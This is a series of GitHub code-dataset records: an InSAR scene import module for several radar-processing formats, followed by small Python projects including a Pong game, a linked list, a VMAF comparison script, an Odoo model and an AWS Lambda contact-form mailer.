self._log.warning(GMTSAR.__doc__)\n            raise ImportError(\"Could not find LOS file (*.los.*)\")\n        los_file = los_files[0]\n        self._log.debug(\"Found LOS file: %s\", los_file)\n        return los_file\n\n    def _getDisplacementFile(self, path):\n        if op.isfile(path):\n            return path\n        else:\n            files = glob.glob(op.join(path, \"*.grd\"))\n            if len(files) == 0:\n                raise ImportError(\n                    \"Could not find displacement file \" \"(*.grd) at %s\", path\n                )\n            disp_file = files[0]\n        self._log.debug(\"Found Displacement file: %s\", disp_file)\n        return disp_file\n\n    def read(self, path, **kwargs):\n        from scipy.io import netcdf_file\n\n        path = op.abspath(path)\n        container = self.container\n\n        grd = netcdf_file(self._getDisplacementFile(path), mode=\"r\", version=2)\n        displ = grd.variables[\"z\"][:].copy()\n        container.displacement = displ\n        shape = container.displacement.shape\n        # LatLon\n        container.frame.spacing = \"degree\"\n        container.frame.llLat = grd.variables[\"lat\"][:].min()\n        container.frame.llLon = grd.variables[\"lon\"][:].min()\n\n        container.frame.dN = (\n            grd.variables[\"lat\"][:].max() - container.frame.llLat\n        ) / shape[0]\n        container.frame.dE = (\n            grd.variables[\"lon\"][:].max() - container.frame.llLon\n        ) / shape[1]\n\n        # Theta and Phi\n        try:\n            los = np.memmap(self._getLOSFile(path), dtype=\"<f4\")\n            e = los[3::6].copy().reshape(shape)\n            n = los[4::6].copy().reshape(shape)\n            u = los[5::6].copy().reshape(shape)\n\n            phi = np.arctan(n / e)\n            theta = np.arcsin(u)\n            # phi[n < 0] += np.pi\n\n            container.phi = phi\n            container.theta = theta\n        except ImportError:\n            self._log.warning(self.__doc__)\n            self._log.warning(\"Defaulting theta to pi/2 and phi to 0.\")\n            container.theta = np.pi / 2\n            container.phi = 0.0\n        return container\n\n\nclass SARscape(SceneIO):\n    \"\"\"\n    Reading SARscape :file:`*_disp` files.\n\n    .. note ::\n\n        Expects:\n\n        * Header file in :file:`*_disp.hdr`\n        * Displacement data in cm in :file:`*_disp`\n        * LOS data in :file:`*disp_ILOS` and :file:`*disp_ALOS` files.\n    \"\"\"\n\n    def read(self, filename, **kwargs):\n        header = self.parseHeaderFile(filename)\n\n        def load_data(filename):\n            self._log.debug(\"Loading %s\" % filename)\n            return np.flipud(\n                np.fromfile(filename, dtype=np.float32).reshape(\n                    (header.lines, header.samples)\n                )\n            )\n\n        displacement = load_data(filename)\n        theta_file, phi_file = self.getLOSFiles(filename)\n\n        if not theta_file:\n            theta = np.full_like(displacement, 0.0)\n        else:\n            theta = load_data(theta_file)\n            theta = np.deg2rad(theta)\n\n        if not phi_file:\n            phi = np.full_like(displacement, np.pi / 2)\n        else:\n            phi = load_data(phi_file)\n            phi = np.pi / 2 - np.rad2deg(phi)\n\n        container = self.container\n        container.displacement = displacement\n        container.phi = phi\n        container.theta = theta\n\n        map_info = header.map_info\n        container.frame.dE = float(map_info[5])\n        container.frame.dN = dN = float(map_info[6])\n        container.frame.spacing = \"meter\"\n\n        container.frame.llLat, container.frame.llLon = utm.to_latlon(\n            float(map_info[3]),\n            float(map_info[4]) - header.lines * dN,\n            zone_number=int(map_info[7]),\n            northern=True if map_info[8] == \"Northern\" else False,\n        )\n\n        return container\n\n    def parseHeaderFile(self, filename):\n        hdr_file = self._getHDRFile(filename)\n        conf = re.compile(r\"^(.+)\\s+=\\s+(.+)\\n\", re.MULTILINE)\n\n        header = AttribDict()\n        with open(hdr_file) as f:\n            s = f.read()\n\n            linebreaks = re.compile(r\"{(.+)\\n?(.+)}\")\n            s = linebreaks.sub(r\"{ \\g<1> \\g<2> }\", s)\n\n            for match in conf.finditer(s):\n                groups = match.groups()\n                key = groups[0].strip().replace(\" \", \"_\")\n                value = groups[1].strip()\n                try:\n                    value = int(value)\n                except ValueError:\n                    pass\n\n                header[key] = value\n\n            header.map_info = header.map_info.strip(\"{} \").split(\", \")\n            if not len(header.map_info) == 11:\n                raise HeaderError(\"`map info` header is not consistent!\")\n            if header.map_info[0] != \"UTM\":\n                raise HeaderError(\"`map info` is not UTM!\")\n\n        return header\n\n    def getLOSFiles(self, filename):\n        ilos_file = op.abspath(filename + \"_ILOS\")\n        if not op.exists(ilos_file):\n            self._log.warning(\"Could not find ILOS file! (%s)\" % ilos_file)\n            ilos_file = False\n\n        alos_file = op.abspath(filename + \"_ALOS\")\n        if not op.exists(alos_file):\n            self._log.warning(\"Could not find ALSO file! (%s)\" % alos_file)\n            alos_file = False\n        return ilos_file, alos_file\n\n    def _getHDRFile(self, filename):\n        hdr_file = op.abspath(op.splitext(filename)[0] + \".hdr\")\n        if not op.exists(hdr_file):\n            raise OSError(\"SARscape .hdr file not found (%s)\" % hdr_file)\n        return hdr_file\n\n    def validate(self, filename, **kwargs):\n        val = re.compile(r\"SARscape|ENVI Standard\", re.MULTILINE)\n        try:\n            hdr_file = self._getHDRFile(filename)\n        except OSError:\n            return False\n\n        with open(hdr_file) as f:\n            res = val.search(f.read())\n            if res is not None:\n                return True\n            return False\n\n\nclass LiCSAR(SceneIO):\n    \"\"\"\n    Import unwrapped Geotiffs from the\n    `COMET LiCSAR Portal <https://comet.nerc.ac.uk/COMET-LiCS-portal/>`_.\n\n    .. note ::\n\n        Requires the Python package\n        `gdal/osgeo <https://pypi.org/project/GDAL/>`_! Or through\n\n        Expects:\n\n        * Unwrapped geotiff in :file:`*.unw.tif`\n        * LOS data in :file:`*.geo.[NEU].tif` files\n\n    See also the download script in :mod:`kite.clients`.\n    \"\"\"\n\n    def _getLOS(self, filename, component):\n        path = op.dirname(filename)\n        fn = glob.glob(op.join(path, component))\n        if len(fn) != 1:\n            raise ImportError(\"Cannot find LOS vector file %s!\" % component)\n\n        dataset = gdal.Open(fn[0], gdal.GA_ReadOnly)\n        return self._readBandData(dataset)\n\n    @staticmethod\n    def _readBandData(dataset, band=1):\n        band = dataset.GetRasterBand(band)\n        array = band.ReadAsArray()\n        array[array == band.GetNoDataValue()] = np.nan\n\n        return np.flipud(array)\n\n    def read(self, filename, **kwargs):\n        dataset = gdal.Open(filename, gdal.GA_ReadOnly)\n        georef = dataset.GetGeoTransform()\n\n        llLon = georef[0]\n        llLat = georef[3] + dataset.RasterYSize * georef[5]\n\n        c = self.container\n\n        c.frame.spacing = \"degree\"\n        c.frame.llLat = llLat\n        c.frame.llLon = llLon\n        c.frame.dE = georef[1]\n        c.frame.dN = abs(georef[5])\n\n        displacement = self._readBandData(dataset)\n        c.displacement = -displacement / (4 * np.pi) * LAMBDA_SENTINEL\n\n        try:\n            los_n = self._getLOS(filename, \"*.geo.N.tif\")\n            los_e = self._getLOS(filename, \"*.geo.E.tif\")\n            los_u = self._getLOS(filename, \"*.geo.U.tif\")\n        except ImportError:\n            self._log.warning(\n                \"Cannot find LOS angle files *.geo.[NEU].tif,\"\n                \" using static Sentinel-1 descending angles.\"\n            )\n\n            heading = 83.0\n            incident = 50.0\n\n            un = np.sin(d2r * incident) * np.cos(d2r * heading)\n            ue = np.sin(d2r * incident) * np.sin(d2r * heading)\n            uz = np.cos(d2r * incident)\n\n            los_n = np.full_like(c.displacement, un)\n            los_e = np.full_like(c.displacement, ue)\n            los_u = np.full_like(c.displacement, uz)\n\n        c.phi = np.arctan2(los_n, los_e)\n        c.theta = np.arcsin(los_u)\n\n        c.meta.title = dataset.GetDescription()\n\n        return c\n\n    def validate(self, filename, **kwargs):\n        if gdal.IdentifyDriver(filename) is None:\n            return False\n        return True\n\n\nclass ARIA(SceneIO):\n    \"\"\"\n    Import unwrapped InSAR scenes from the\n    `NASA/JPL ARIA <https://aria.jpl.nasa.gov/>`_ GUNW data products.\n\n    .. note ::\n\n        Requires the Python package\n        `gdal/osgeo <https://pypi.org/project/GDAL/>`_! Or through\n\n        Expects:\n\n        * Extracted layers: unwrappedPhase, lookAngle, incidenceAngle,\n          connectedComponents\n\n    Use ``ariaExtract.py`` to extract the layers:\n\n    .. code-block:: sh\n\n        ariaExtract.py -w ascending -f aria-data.nc -d download \\\\\n        -l unwrappedPhase,incidenceAngle,lookAngle\n\n    \"\"\"\n\n    @staticmethod\n    def _readBandData(dataset, band=1):\n        band = dataset.GetRasterBand(band)\n        array = band.ReadAsArray()\n        if array.dtype != np.int16 and array.dtype != np.int:\n            array[array == band.GetNoDataValue()] = np.nan\n\n        return np.flipud(array)\n\n    @staticmethod\n    def _dataset_from_dir(folder):\n        files = set(f for f in os.scandir(folder) if f.is_file())\n        for f in files:\n            if op.splitext(f.name)[-1] == \"\":\n                break\n        else:\n            raise ImportError(\"could not load dataset from %s\" % folder)\n\n        return gdal.Open(f.path, gdal.GA_ReadOnly)\n\n    def read(self, folder, **kwargs):\n        unw_phase = self._dataset_from_dir(op.join(folder, \"unwrappedPhase\"))\n        georef = unw_phase.GetGeoTransform()\n\n        llLon = georef[0]\n        llLat = georef[3] + unw_phase.RasterYSize * georef[5]\n\n        c = self.container\n\n        c.frame.spacing = \"degree\"\n        c.frame.llLat = llLat\n        c.frame.llLon = llLon\n        c.frame.dE = georef[1]\n        c.frame.dN = abs(georef[5])\n\n        conn_comp = self._dataset_from_dir(op.join(folder, \"connectedComponents\"))\n\n        displacement = self._readBandData(unw_phase)\n        conn_mask = self._readBandData(conn_comp)  # Mask from snaphu\n        displacement *= np.where(conn_mask, 1.0, np.nan)\n\n        c.displacement = displacement / (4 * np.pi) * LAMBDA_SENTINEL\n\n        inc_angle = self._dataset_from_dir(op.join(folder, \"incidenceAngle\"))\n        azi_angle = self._dataset_from_dir(op.join(folder, \"azimuthAngle\"))\n\n        c.theta = np.pi / 2 - self._readBandData(inc_angle) * d2r\n        c.phi = self._readBandData(azi_angle) * d2r\n\n        c.meta.scene_id = op.basename(unw_phase.GetDescription())\n        c.meta.scene_title = c.meta.scene_id\n\n        t_slave, t_master = c.meta.scene_id.split(\"_\")\n        c.meta.time_master = datetime(\n            *time.strptime(t_master, \"%Y%m%d\")[:6]\n        ).timestamp()\n        c.meta.time_slave = datetime(*time.strptime(t_slave, \"%Y%m%d\")[:6]).timestamp()\n\n        c.meta.satellite_name = \"undefined (ARIA)\"\n\n        return c\n\n    def validate(self, folder, **kwargs):\n        expected_dirs = set(\n            [\"unwrappedPhase\", \"incidenceAngle\", \"lookAngle\", \"connectedComponents\"]\n        )\n        if not op.isdir(folder):\n            return False\n\n        dirs = set(d.name for d in os.scandir(folder) if d.is_dir())\n        if not expected_dirs - dirs:\n            return True\n\n        return False\n\n\nclass SNAP_Gamma(SceneIO):\n    \"\"\"SNAP import\n\n    Reading geocoded displacement maps (unwrapped igs) originating\n    from SNAP software using the export option.\n\n    When georeferencing the scene, export the incidence angle from ellpsoid in\n    the tab **Processing Parameters**.\n    Export the unwrapped **displacement** band and\n    **incidenceAngleFromEllipsoid** to Gamma format:\n\n    1. File -> Export -> SAR Formats -> Gamma\n\n    Select **Metadata -> Abstracted_Metadata** and\n    2. File -> Export -> Other -> Product Metadata.\n\n    .. note :: Expects:\n\n        * [:file:`*`] Binary file from SNAP Gamma Export with displacement in\n            radians\n        * [:file:`*.Abstracted_Metadata.txt`] Metadata (parameter) file\n            If you want to translate radians to\n            meters using the `radar_frequency`.\n        * [:file:`*par`] Parameter file, describing ``first_near_lat,\n        last_near_long, num_output_lines, num_samples_per_line,\n                lat_pixel_res, lon_pixel_res, radar_frequency and heading.``\n        * [:file:`incidenceAngleFromEllipsoid.rslc`] Incidence angle file.\n\n    .. warning ::\n\n        * Data has to be georeferenced to latitude/longitude or UTM!\n        * Look vector files - expected to have a particular name\n    \"\"\"\n\n    @staticmethod\n    def _parseParameterFile(filename):\n        params = {}\n        rc = re.compile(r\"([\\w]*)\\s*([\\w.+-]*)\")\n        with open(filename, mode=\"r\") as par:\n            for line in par:\n                if line[:29] == \"metadata.Abstracted_Metadata.\":\n                    parsed = rc.match(line[29:])\n                    if parsed is None:\n                        continue\n\n                    groups = parsed.groups()\n                    params[groups[0]] = safe_cast(\n                        groups[1], float, default=groups[1].strip()\n                    )\n        return params\n\n    def _getParameters(self, path, log=False):\n        required_utm = (\n            \"post_north\",\n            \"post_east\",\n            \"corner_east\",\n            \"corner_north\",\n            \"num_output_lines\",\n            \"num_samples_per_line\",\n        )\n        required_lat_lon = (\n            \"first_near_lat\",\n            \"last_near_long\",\n            \"num_output_lines\",\n            \"num_samples_per_line\",\n            \"lat_pixel_res\",\n            \"lon_pixel_res\",\n        )\n\n        par_file = glob.glob(op.join(path, \"*Abstracted_Metadata.txt\"))\n        for file in par_file:\n            params = self._parseParameterFile(file)\n            if check_required(required_utm, params) or check_required(\n                required_lat_lon, params\n            ):\n                if not log:\n                    self._log.info(\"Found parameter file %s\" % file)\n                return op.basename(file), params\n\n        raise ImportError(\n            \"Parameter file %s does not hold required parameters\" % par_file\n        )\n\n    def validate(self, filename, **kwargs):\n        try:\n            folder = op.dirname(op.abspath(filename))\n            self._getParameters(folder)\n            return True\n        except ImportError:\n            return False\n\n    def _getLOSAngles(self, filename, pattern):\n        path = op.dirname(op.realpath(filename))\n        phi_files = glob.glob(op.join(path, pattern))\n        if len(phi_files) == 0:\n            self._log.warning(\n                \"Could not find LOS file %s, \" \"defaulting to angle to 0.\", pattern\n            )\n            return 0.0\n        elif len(phi_files) > 1:\n            self._log.warning(\n                \"Found multiple LOS files %s, \" \"defaulting to angle 0.\", pattern\n            )\n            return 0.0\n\n        filename = phi_files[0]\n        self._log.info(\"Loading LOS %s from %s\" % (pattern, filename))\n        return np.memmap(filename, mode=\"r\", dtype=\">f4\")\n\n    def read(self, filename, **kwargs):\n        \"\"\"\n        :param filename: Gamma software parameter file\n        :type filename: str\n        :param par_file: Corresponding parameter (:file:`*par`) file.\n                         (optional)\n        :type par_file: str\n        :returns: Import dictionary\n        :rtype: dict\n        :raises: ImportError\n        \"\"\"\n        par_file, params = self._getParameters(\n            op.dirname(op.abspath(filename)), log=True\n        )\n\n        ncols = int(params[\"num_samples_per_line\"])\n        nlines = int(params[\"num_output_lines\"])\n        radar_frequency = params.get(\"radar_frequency\", None)\n        heading_par = float(params.get(\"centre_heading\", None))\n        displ = np.fromfile(filename, dtype=\">f4\")\n\n        # Resize array if last line is not scanned completely\n        fill = 0\n        if (displ.size % ncols) != 0:\n            fill = np.empty(ncols - displ.size % ncols)\n            fill.fill(np.nan)\n            displ = np.append(displ, fill)\n\n        displ = displ.reshape(nlines, ncols)\n        displ[displ == -0.0] = np.nan\n        displ = np.flipud(displ)\n\n        if radar_frequency and \"_dsp_\" not in par_file:\n            radar_frequency = float(radar_frequency)\n            radar_frequency *= 1e6  # SNAP gives MHz\n            self._log.info(\n                \"Scaling displacement by radar_frequency %f GHz\", radar_frequency / 1e9\n            )\n            wavelength = util.C / radar_frequency\n            displ /= -4 * np.pi\n            displ *= wavelength\n\n        elif not radar_frequency and \"_dsp_\" not in par_file:\n            self._log.warning(\"Could not determine radar_frequency!\")\n            wavelength = None\n\n        else:\n            wavelength = None\n\n        inc_angle = self._getLOSAngles(\n            filename, \"incidenceAngleFromEllipsoid.rslc\"\n        ).copy()\n        if fill:\n            inc_angle = np.append(inc_angle, fill)\n        inc_angle[inc_angle == 0.0] = np.nan\n\n        phi = np.full_like(displ, (180.0 - heading_par))\n        theta = 90.0 - inc_angle.reshape(displ.shape)\n        theta = np.flipud(theta)\n\n        c = self.container\n\n        c.displacement = displ\n        c.theta = theta * d2r\n        c.phi = phi * d2r\n\n        c.meta.wavelength = wavelength\n        c.meta.title = params.get(\"PRODUCT\", \"SNAP Import\")\n        c.meta.satellite_name = params.get(\"SPH_DESCRIPTOR\", \"None\")\n\n        orb = params.get(\"PASS\", None)\n        c.meta.orbital_node = orb.title() if orb else None\n\n        c.bin_file = filename\n        c.par_file = par_file\n\n        if params[\"map_projection\"] == \"UTM\":\n            utm_zone = params[\"projection_zone\"]\n            try:\n                utm_zone_letter = utm.latitude_to_zone_letter(params[\"center_latitude\"])\n            except ValueError:\n                self._log.warning(\n                    \"Could not parse UTM Zone letter,\" \" defaulting to N!\"\n                )\n                utm_zone_letter = \"N\"\n\n            self._log.info(\"Using UTM reference: Zone %d%s\", utm_zone, utm_zone_letter)\n            c.frame.spacing = \"meter\"\n\n            dN = abs(params[\"post_north\"])\n            dE = abs(params[\"post_east\"])\n\n            utm_corn_e = params[\"corner_east\"]\n            utm_corn_n = params[\"corner_north\"]\n\n            utm_corn_eo = utm_corn_e + dE * displ.shape[1]\n            utm_corn_no = utm_corn_n + dN * displ.shape[0]\n\n            utm_e = np.linspace(utm_corn_e, utm_corn_eo, displ.shape[1])\n            utm_n = np.linspace(utm_corn_n, utm_corn_no, displ.shape[0])\n\n            llLat, llLon = utm.to_latlon(\n                utm_e.min(), utm_n.min(), utm_zone, utm_zone_letter\n            )\n\n        else:\n            self._log.info(\"Using Lat/Lon reference\")\n            c.frame.spacing = \"degree\"\n\n            if orb.lower() == \"ascending\":\n                llLat = params[\"last_near_lat\"]\n                llLon = params[\"last_near_long\"]\n\n            elif orb.lower() == \"descending\":\n                llLat = params[\"last_far_lat\"]\n                llLon = params[\"first_near_long\"]\n\n            else:\n                raise AttributeError(\"cannot determine orbit\")\n\n            dE = abs(params[\"lon_pixel_res\"])\n            dN = abs(params[\"lat_pixel_res\"])\n\n        c.frame.llLat = llLat\n        c.frame.llLon = llLon\n\n        c.frame.dE = dE\n        c.frame.dN = dN\n\n        return c\n","repo_name":"pyrocko/kite","sub_path":"kite/scene_io.py","file_name":"scene_io.py","file_ext":"py","file_size_in_byte":46486,"program_lang":"python","lang":"en","doc_type":"code","stars":72,"dataset":"github-code","pt":"35"}
{"seq_id":"30783112641","text":"\"\"\"A basic pong game to apply OOP concepts like classes, inheritance, and modular programming.\"\"\"\r\nimport time\r\nfrom turtle import Screen\r\n\r\nfrom ball import Ball\r\nfrom paddle import Paddle\r\nfrom scoreboard import Scoreboard\r\n\r\nGAME = True\r\n\r\nscreen = Screen()\r\nscreen.setup(width=800, height=600)\r\nscreen.bgcolor(\"#000000\")\r\nscreen.title(\"Pong\")\r\nscreen.tracer(0)\r\n\r\nright = Paddle((350, 0))\r\nleft = Paddle((-350, 0))\r\nball = Ball()\r\nscoreboard = Scoreboard()\r\n\r\nscreen.listen()\r\nscreen.onkeypress(key=\"Up\", fun=right.up)\r\nscreen.onkeypress(key=\"Down\", fun=right.down)\r\nscreen.onkeypress(key=\"w\", fun=left.up)\r\nscreen.onkeypress(key=\"s\", fun=left.down)\r\n\r\nwhile GAME:\r\n    time.sleep(0.1)\r\n    screen.update()\r\n    ball.move()\r\n\r\n    if ball.ycor() < -280 or ball.ycor() > 280:\r\n        ball.bounce_y()\r\n\r\n    if ball.distance(right) < 50 and ball.xcor() > 320 or ball.distance(left) < 50 and ball.xcor() < -320:\r\n        ball.bounce_x()\r\n\r\n    if ball.xcor() > 380:\r\n        scoreboard.left += 1\r\n        scoreboard.display()\r\n        ball.reset()\r\n\r\n    if ball.xcor() < -380:\r\n        scoreboard.right += 1\r\n        scoreboard.display()\r\n        ball.reset()\r\n\r\nscreen.exitonclick()\r\n","repo_name":"tashi21/python","sub_path":"pong_game/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"18653649660","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Sep 17 03:00:22 2020\n\n@author: gimjiwon\n\"\"\"\n\n\nclass node():\n\n    def __init__(self, data):\n        self.data = data\n        self.next = None\n\n    def __str__(self):\n        return self.data.__str__()\n\n\nclass LinkedList():\n\n    def __init__(self):\n        self.head = None\n        self.tail = None\n        self.count = 0\n\n    def __str__(self):  # [1,2,3]\n        q = self.head\n        ret_str = '['\n        while q != None:\n            ret_str += q.__str__()\n            # ret_str += q.data.__str__()\n            if q.next != None: ret_str += ', '\n            q = q.next\n\n        return ret_str + ']'\n\n    # 노드 추가 함수\n    def append_node(self, data):\n        # 추가될 노드 생성\n        new_node = node(data)\n\n        if self.head == None:  # 첫번째 node\n            self.head = new_node\n            self.tail = new_node\n        else:  # 기존의 노드들이 있을 경우 제일 끝에 추가\n            self.tail.next = new_node\n            self.tail = new_node\n        self.count += 1\n        return\n\n    def extend_list(self, aList):\n        # 추가하려는 링크드 리스트가 비었을 때 그냥 리턴\n        if aList.head == None: return\n\n        # 추가하려는 링크드 리스트 복사\n        new_l = LinkedList()\n        q = aList.head\n        while q != None:\n            new_l.append_node(q.data)\n            q = q.next\n\n        # 기존의 링크드리스트가 비었을 경우 헤드로...\n        if self.head == None:\n            self.head = new_l.head\n\n        # 기존의 링크드 리스트의 테일노드가 있을경우\n        if self.tail != None:\n            # tail 뒤에 추가해준다\n            self.tail.next = new_l.head\n\n        # 기존 tail값 변경\n        self.tail = new_l.tail\n\n        # 새로 추가된 만큼 더해준다.\n        self.count += new_l.count\n        return\n\n    # 노드 개수 리턴해주는 함수\n    def get_count(self):\n        return self.count\n\n    # 첫번째 타겟 엘리먼트 삭제\n    def remove_first(self, data):\n        # 타깃을 찾기위함 item변수할당\n        item = self.head\n        # 기존 노드가 비었을 경우\n        if item == None:\n            print(\"no item\")\n            return\n        else:\n            # prev값 생성\n            prev = None\n            # item에 값이 있을동안 찾는다(처음부터 끝까지)\n            while item:\n                # 타깃을 찾은 경우\n                if item.data == data:\n                    # case 1 타깃이 테일\n                    if item == self.tail:\n                        temp3 = self.tail\n                        self.tail = prev\n                        self.tail.next = None\n                        self.count -= 1\n                        del temp3\n                        return\n\n                    # case 2 타깃이 헤드\n                    if item == self.head:\n                        temp2 = self.head\n                        self.head = self.head.next\n                        self.count -= 1\n                        del temp2\n                        return\n\n                    # case 3 타깃이 중간에 있음\n                    else:\n                        temp = item\n                        prev.next = item.next\n                        self.count -= 1\n                        del temp\n                        return\n                # 다음 타깃을 찾아 떠나서..\n                else:\n                    prev = item\n                    item = item.next\n            # 맞는 타깃이 없을 경우\n            else:\n                print(\"no data\")\n                return\n\n    # 모 타겟 엘리먼트 삭제\n    def remove(self, item):\n\n        if self.head == None:\n            return\n\n        # head가 내가 지워야 하는 item인 경우...\n        while self.head and self.head.data == item:\n            self.head = self.head.next\n            self.count -= 1\n\n        if self.head == None:\n            self.tail = None\n            return\n\n        p = self.head.next  # 앞서서 지울 노드를 검사\n        q = self.head  # next연결을 위해서 p의 바로 앞노드를 pointing\n        while p:\n            if p.data == item:\n                # 여기는 여러분들이 채워주세요\n                # p는 앞쪽으로 한칸 이동\n                # q의 next는 p의 next로\n                self.count -= 1\n                if p == self.tail:  # 대상이 마지막 노드일 경우 tail을 바꾸어주고 break..\n                    del p\n                    q.next = None\n                    self.tail = q\n                    break\n\n                # 중간 노드일 경우\n                else:\n                    # q.next = p.next\n                    # p = p.next.next\n                    tmp = p\n                    p = p.next  # 삭제될 다음노드로 이동\n                    q.next = p  # 건너뛰고 이어줌(삭제)\n                    del tmp\n\n\n            else:\n                p = p.next\n                q = q.next\n\n\nif __name__ == '__main__':\n    a = LinkedList()\n    a.append_node(1)\n    a.append_node(1)\n    a.append_node(1)\n    a.append_node(2)\n    a.append_node(3)\n    print(\"a :\", a)\n    print(\"the number of a is \", a.get_count())\n    print()\n    b = LinkedList()\n    b.append_node('a')\n    b.append_node('b')\n    print(\"b : \", b)\n    a.extend_list(b)\n    print(\"a+b : \", a)\n    print(\"the number of b is \", b.get_count())\n    print(\"the number of a = a+b is \", a.get_count())\n    print()\n    b.append_node('c')\n\n    print(\"c appended b : \", b)\n    print(\"the number of b is \", b.get_count())\n    print(\"check extended a :\", a)\n    print(\"the number of a is \", a.get_count())\n    print()\n    a.remove_first(1)\n    print(\"first 1 removed a : \", a)\n    print(\"the number of a is \", a.get_count())\n    print()\n    a.append_node(1)\n    a.append_node(2)\n    a.append_node(3)\n    a.append_node(1)\n\n    print(\"1,2,3,1 appended a : \", a)\n    print(\"the number of a is \", a.get_count())\n    a.remove(1)\n    print()\n\n    print(\"all 1 removed a : \", a)\n    print(\"the number of a is \", a.get_count())\n    print()\n\n    a.append_node(1)\n    print(\"1 appended a : \", a)\n    print(\"the number of a is \", a.get_count())","repo_name":"VEOjiwon/Algorithm-2020-Fall","sub_path":"Linked_List.py","file_name":"Linked_List.py","file_ext":"py","file_size_in_byte":6255,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"73839693219","text":"import vapoursynth as vs\nimport math\n\n#resize to 1080 in order to compare quality through vmaf\n#adding borders if needed\ndef resize_to_1080(video):\n\theight=video.height\n\twidth=video.width\n\tif width/height >= 1920.0/1080.0:\n\t\tnewheight=int(1920.0*height/width)\n\t\tborderup=int((1080.0-newheight)/2)\n\t\tif borderup % 2 == 1:\n\t\t\tborderup+=1\n\t\tborderdown=1080-borderup-newheight\n\t\tvideo=core.resize.Bicubic(clip=video,width=1920,height=newheight)\n\t\tvideo=core.std.AddBorders(clip=video,top=borderup,bottom=borderdown)\n\telse:\n\t\tnewwidth=int(1080.0*width/height)\n\t\tborderleft=int((1920.0-newwidth)/2)\n\t\tif borderleft % 2==1:\n\t\t\tborderleft+=1\n\t\tborderright=1920-borderleft-newwidth\n\t\tvideo=core.resize.Bicubic(clip=video,width=newwidth,height=1080)\n\t\tvideo=core.std.AddBorders(clip=video,left=borderleft,right=borderright)\n\treturn video\n\n#compressibility check to keep 5% of the video in 30 seconds clips,\n#spread equally to all video.\ndef compressibility_check(video):\n\tpercentage = 5.0\n\tclipsduration=30.0\n\t\n\tclipframes=math.ceil(clipsduration*video.fps_num/video.fps_den)\n\tcompressibilitiframes = math.ceil(percentage * video.num_frames / 100)\n\tnumberofclips=math.floor(compressibilitiframes/clipframes)\n\t\n\tif numberofclips*clipframes/video.num_frames < (percentage/100):\n\t\tnumberofclips+=1\n\t\n\tbig_part_length=math.ceil(video.num_frames/numberofclips)\n\tcenter=math.floor(big_part_length/2)\n\t\n\tclips=[]\n\tfor i in range(numberofclips):\n\t  start_point=big_part_length*i+center-math.ceil(clipframes/2)\n\t  endpoint=big_part_length*i+center+math.ceil(clipframes/2)\n\t  clip=video[start_point:endpoint]\n\t  clips.append(clip)\n\t\n\tcompressclip=clips[0]\n\tfor i in range(1,numberofclips):\n\t  compressclip=compressclip+clips[i]\n\treturn compressclip\n\t\n\ncore = vs.get_core()\nsource = core.ffms2.Source(r'movie_original.mkv')\nsource=compressibility_check(source)\n#source=resize_to_1080(source)\n\ncompressed=core.ffms2.Source(r'30_slow_half.mkv')\n#compressed=core.std.AddBorders(clip=compressed,top=130,bottom=124)\ncompressed=resize_to_1080(compressed)\n\nvideo3=core.vmaf.VMAF(source, compressed,  log_path=\"30_slow_half.xml\", log_fmt=0, pool=1,ci=True)\nvideo3.set_output()\n","repo_name":"dim-geo/compressibility","sub_path":"vmaf_resize.py","file_name":"vmaf_resize.py","file_ext":"py","file_size_in_byte":2148,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"14457661352","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Oct 25 11:55:24 2019\n\n@author: samer\n\"\"\"\n\nimport os\ndirectory_path = 'C:\\\\Users\\\\samer\\\\Desktop'\nlist_of_files = os.listdir(directory_path)\nprint(list_of_files)\n\n","repo_name":"samerkr/python-homework","sub_path":"Project/Desktop.py","file_name":"Desktop.py","file_ext":"py","file_size_in_byte":205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"21054929387","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import models, fields, api\n\n\nclass Ticket_type(models.Model):\n    _name = 'ticket.type'\n\n    name = fields.Char(string='Name')\n    \n    _sql_constraints = [\n                     ('name', \n                      'unique(name)',\n                      'Item Name Already Exist!')\n    ]","repo_name":"rdwnaden/IT-Services-Management","sub_path":"models/ticket_type.py","file_name":"ticket_type.py","file_ext":"py","file_size_in_byte":316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"19597990388","text":"# Python Libraries\nimport json\n\n# Django / Third-party Libraries\n\n# Stx Libraries\nfrom src.libs.aws_postman import AWSPostman\n\n\ndef lambda_handler(event, context):\n\tpostman = AWSPostman()\n\tpostman.add_Sender('stxtest2021@gmail.com')\n\tpostman.add_Recipient('francisco.germain@gmail.com')\n\tdata = eval(event['body'])\n\tsubject = f\"Contacto MISEVER\"\n\ttext = f\"Se ha recibido la siguiente informacion en tu\\\n\t\tformulario de contacto:\\n\\\n\t\tNombre:{data['name']} Correo:{data['correo']}\\\n\t\tTeléfono:{data['telefono']} mensaje:{data['mensaje']}\"\n\tpostman.send_Email(subject, text)\n\treturn {\n\t\t\"statusCode\": 200,\n\t\t\"headers\": {\n\t\t\"Content-Type\": \"application/json\"\n\t\t},\n\t\t\"body\": json.dumps({\n\t\t\"detail \": \"Envío Exitoso!\"\n\t\t})\n\t}","repo_name":"3rickDomQ/Misever-BackEnd","sub_path":"src/handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
